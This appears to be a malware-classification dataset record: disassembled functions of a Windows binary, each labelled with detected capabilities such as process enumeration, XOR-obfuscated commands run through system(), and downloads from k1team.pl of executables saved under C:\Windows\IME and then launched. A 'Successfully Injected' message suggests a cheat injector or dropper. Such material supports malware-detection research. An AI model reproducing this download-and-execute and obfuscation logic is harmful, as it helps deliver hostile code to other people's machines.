joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140021df0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140021df0
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x170
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rdi, rcx
mov dword [rsp + 0x30], 0x130
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140021e41
mov rcx, rdi
call fcn.140001578
xor eax, eax
jmp 0x140021f3d
mov qword [rsp + 0x188], rbx
lea rdx, [rsp + 0x30]
mov rcx, rbp
mov qword [rsp + 0x190], rsi
call sub.KERNEL32.dll_Process32First
lea rax, [rsp + 0x5c]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140021e70
cmp qword [rdi + 0x18], 0xf
mov rcx, rdi
jbe 0x140021e86
mov rcx, qword [rdi]
mov rsi, qword [rdi + 0x10]
lea rdx, [rsp + 0x5c]
cmp rbx, rsi
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140021ead
cmp rsi, rbx
jb 0x140021ead
jbe 0x140021f5e
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140021f1a
nop
lea rax, [rsp + 0x5c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140021ed0
cmp qword [rdi + 0x18], 0xf
mov rcx, rdi
jbe 0x140021ee6
mov rcx, qword [rdi]
mov rsi, qword [rdi + 0x10]
lea rdx, [rsp + 0x5c]
cmp rbx, rsi
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140021f09
cmp rsi, rbx
jb 0x140021f09
jbe 0x140021f5e
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140021ec0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140001578
xor eax, eax
mov rbx, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140001e2e
mov rbp, qword [rsp + 0x198]
add rsp, 0x170
pop rdi
ret
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x38]
mov rcx, rdi
call fcn.140001578
mov eax, ebx
jmp 0x140021f2d
Function at 0x1400220d0
Capabilities:
Check if file exists
Get file size

Disassembly:
jmp 0x1400220d0
push rbp
sub rsp, 0x90
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r8, qword [rdx + 0x10]
movabs rbp, 0x7fffffffffffffff
mov r10, qword [rcx + 0x10]
mov rax, rbp
sub rax, r8
cmp rax, r10
jb 0x140022314
cmp qword [rdx + 0x18], 0xf
mov r9, rdx
jbe 0x140022116
mov r9, qword [rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x140022120
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], r8
mov r8, rdx
movzx edx, byte [rsp + 0x48]
mov qword [rsp + 0xb0], rbx
call fcn.140001e56
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x14002216c
xor bl, bl
jmp 0x1400222b3
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
cmova rcx, qword [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x88], rsi
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x80], rdi
lea r8d, [r9 + 3]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, 0xffffffffffffffff
mov rdi, rax
cmp rax, rbx
jne 0x1400221cc
mov rsi, rbx
jmp 0x1400221f7
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
jne 0x1400221ec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rbx
jmp 0x1400221f7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400022ac
mov rax, qword [rsp + 0x40]
movabs rcx, 0x7fffffffe2329aff
cmp rax, rcx
jge 0x140022222
add rax, 0x1dcd6500
mov qword [rsp + 0x40], rax
jmp 0x140022227
mov qword [rsp + 0x40], rbp
lea rcx, [rsp + 0x40]
call fcn.140001e38
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
cmova rcx, qword [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, rbx
je 0x14002229d
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
jne 0x140022292
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002229d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x80]
cmp rsi, rbx
mov rsi, qword [rsp + 0x88]
sete bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400222f3
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400222ee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400222ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000280b
movzx eax, bl
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001e2e
add rsp, 0x90
pop rbp
ret
call fcn.140001ec4
int3
Function at 0x1400223e0
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400223e0
push rbx
sub rsp, 0x60
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400224b3
cmp byte [rcx + 0x71], 0
je 0x1400224b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x1400224af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140022474
sub eax, 1
je 0x140022478
cmp eax, 2
jne 0x1400224af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001e2e
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400224a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400224af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14002245c
xor al, al
jmp 0x14002245c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001e2e
add rsp, 0x60
pop rbx
ret

Function at 0x140025610
Capabilities:
Terminate process

Disassembly:
jmp 0x140025610
push rbx
sub rsp, 0x30
xor ebx, ebx
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x50]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140025668
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], 4
lea edx, [rbx + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140025678
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x14002569f
xor r9d, r9d
lea r8, str.Error.
lea rdx, str.Please_restart_the_application_and_run_as_administrator...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x30
pop rbx
ret
Function at 0x1400256d0
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x1400256d0
push rdi
sub rsp, 0x60
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor eax, eax
mov ecx, 0xfffffff5
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rsp + 0x38]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx ecx, word [rsp + 0x38]
lea rax, [rsp + 0x34]
movsx r8d, word [rsp + 0x3a]
mov dl, reloc.WLDAP32.dll_Ordinal_32
mov r9d, dword [rsp + 0x30]
imul r8d, ecx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
movsx eax, word [rsp + 0x38]
mov edx, 7
movsx r8d, word [rsp + 0x3a]
mov rcx, rdi
mov r9d, dword [rsp + 0x30]
imul r8d, eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001e2e
add rsp, 0x60
pop rdi
ret
Function at 0x140027db0
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
jmp 0x140027db0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edi, edi
mov dword [rbp - 0x69], 0x23502120
mov eax, edi
mov dword [rbp - 0x65], 0xe4c5e8ce
mov dword [rbp - 0x61], 0x100f7c1
nop
lea ecx, [rax + 0x7c]
xor byte [rbp + rax - 0x69], cl
inc rax
cmp rax, 0xa
jb 0x140027df0
lea rax, [rbp - 0x69]
mov dword [rbp - 0x69], 0x23502120
mov qword [rbp + 0x37], rax
mov rcx, rdi
mov dword [rbp - 0x65], 0xf6c6f2cb
mov dword [rbp - 0x61], 0xf5e3f5e9
mov word [rbp - 0x5d], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xc
jb 0x140027e30
lea rax, [rbp - 0x69]
mov dword [rbp - 0x69], 0x23502120
mov qword [rbp + 0x3f], rax
mov rcx, rdi
mov dword [rbp - 0x65], 0xc3c5c9
mov byte [rbp - 0x61], 1
nop dword [rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 7
jb 0x140027e60
lea rax, [rbp - 0x69]
mov rbx, rdi
mov qword [rbp + 0x47], rax
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x37]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140027edc
inc rbx
cmp rbx, 3
jl 0x140027e80
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140001e2e
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
movdqa xmm0, xmmword [0x1400f87c0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x1400f8760]
movdqa xmmword [rbp - 0x59], xmm0
movdqa xmm0, xmmword [0x1400f8800]
movdqa xmmword [rbp - 0x49], xmm1
movdqa xmm1, xmmword [0x1400f89a0]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x1400f8580]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x1400f7720]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 9], xmm1
mov dword [rbp + 7], 0xb3abb3e2
mov word [rbp + 0xb], 0x100
call fcn.1400022cf
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400f87c0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x1400f8760]
movdqa xmmword [rbp - 0x59], xmm0
movdqa xmm0, xmmword [0x1400f8800]
movdqa xmmword [rbp - 0x49], xmm1
movdqa xmm1, xmmword [0x1400f89c0]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x1400f86e0]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x1400f7710]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [0x1400f8780]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm1, xmmword [0x1400f87a0]
movdqa xmmword [rbp + 7], xmm0
movdqa xmmword [rbp + 0x17], xmm1
mov dword [rbp + 0x27], 0x91c0ddcc
mov dword [rbp + 0x2b], 0x1006d75
call fcn.140001370
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140029f70
Capabilities:
Encode data using xor
Execute command

Disassembly:
jmp 0x140029f70
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x1400f7ff0]
xor ebx, ebx
movdqa xmm1, xmmword [0x1400f86c0]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0xad
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x140029fc0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400f8a40]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400f8680]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0xad
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002a010
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400f8a40]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400f8660]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0xad
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002a060
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400f8a40]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400f86a0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0xad
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x7c]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002a0b0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400f8a60]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xe1b0ade7
mov dword [rbp - 0x1c], 0xa1b2fde5
mov dword [rbp - 0x18], 0xa7b3aa
mov byte [rbp - 0x14], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 0x7c]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1b
jb 0x14002a100
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x14], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001e2e
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14002ea30
Capabilities:
Terminate process

Disassembly:
jmp 0x14002ea30
sub rsp, 0x68
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x58], rax
call fcn.140001992
call fcn.140001730
call fcn.1400023c9
call fcn.140002f6d
call fcn.140002072
xor ecx, ecx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64
call fcn.1400012a8
lea rcx, [rsp + 0x28]
call fcn.140002211
nop
call fcn.140001df2
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, [0x1400f7e64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str.___________________________________________________________________n_t_t_t_t__________________________________________n_t_t_t_t_________________________________n_t_t_t_t______________________________n_t_t_t_t_____________________________n_t_t_t_t__.__________________________n_t_t_t_t______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
call fcn.14000236a
call fcn.1400022d9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001a46
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, [0x1400f7e64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str.___________________________________________________________________n_t_t_t_t__________________________________________n_t_t_t_t_________________________________n_t_t_t_t______________________________n_t_t_t_t_____________________________n_t_t_t_t__.__________________________n_t_t_t_t______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012df
lea rdx, str._t_t_t_t_t_tSuccessfully_Injected__n_n
lea rcx, [rsp + 0x38]
call fcn.140001d61
nop
mov edx, 0x50
lea rcx, [rsp + 0x38]
call fcn.140002d1f
nop
lea rcx, [rsp + 0x38]
call fcn.140001578
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14002fc80
Capabilities:
Change the wallpaper
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x14002fc80
push rbx
sub rsp, 0xa0
lea rdx, str.C:WindowsIMEwallpaper.gif
lea rcx, str.https:__k1team.pl_IMG_3313.gif
call fcn.1400029cd
xor edx, edx
lea r8, str.C:WindowsIMEwallpaper.gif
mov r9d, 3
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x14002fcdb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_set_wallpaper
call fcn.140001f0f
mov rcx, rax
lea rdx, [0x140001e60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rbx, str.C:WindowsPLAkMapper.exe
mov qword [rsp + 0x20], 0
mov r8, rbx
lea rdx, str.https:__k1team.pl_kMapper.exe
xor r9d, r9d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
js 0x14002fd11
lea rcx, str.WTF_ARE_YOU_DOING_RN_____n
call fcn.140001113
jmp 0x14002fd1f
mov edx, eax
lea rcx, str.HUH___n
call fcn.140001113
xorps xmm0, xmm0
mov dword [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x60], 1
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x94], rax
movups xmmword [rsp + 0x64], xmm0
mov dword [rsp + 0x9c], eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14002fd8d
lea rcx, str.SORRY_BRO__BUT_WHY_ARE_YOU_DOING_IT_._n
call fcn.140001113
add rsp, 0xa0
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_execute_the_program._Error_code:__d_n
call fcn.140001113
add rsp, 0xa0
pop rbx
ret
Function at 0x140031ce0
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x140031ce0
sub rsp, 0x698
mov rax, qword [0x140122ec0]
xor rax, rsp
mov qword [rsp + 0x680], rax
call fcn.140001406
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.C:_Windows_IME_External_V3.exe]
mov eax, dword [0x1400f7cf0]
lea rcx, [rsp + 0x7e]
movups xmm1, xmmword [0x1400f7cc8]
xor edx, edx
mov dword [rsp + 0x78], eax
movaps xmmword [rsp + 0x40], xmm0
mov r8d, 0x1ca
movups xmm0, xmmword [0x1400f7cd8]
movzx eax, word [0x1400f7cf4]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400f7ce8]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x7c], ax
call sub.VCRUNTIME140.dll_memset
lea r8, str.https:__k1team.pl_
mov edx, 0x104
lea rcx, [rsp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, str.External_V3.exe
mov edx, 0x104
lea rcx, [rsp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r9, [rsp + 0x470]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r8d, 0x104
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r8d, 0x104
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x250]
xor ecx, ecx
lea rdx, [rsp + 0x360]
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
js 0x140031e28
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140001e2e
add rsp, 0x698
ret
Function at 0x1400337a0
Capabilities:
Read file on windows

Disassembly:
jmp 0x1400337a0
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x1400337d1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x1400337ef
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x30], rbx
mov rbx, rsi
mov qword [rsp + 0x38], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x140033839
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x1400338b1
mov rcx, rbp
call fcn.140002d0b
cmp rbx, 0xfff
jbe 0x140033891
nop word [rax + rax]
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x1400338d2
cmp rbx, rax
ja 0x140033860
test rdi, rdi
je 0x1400338b1
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
sub rsi, rbx
jmp 0x1400338b4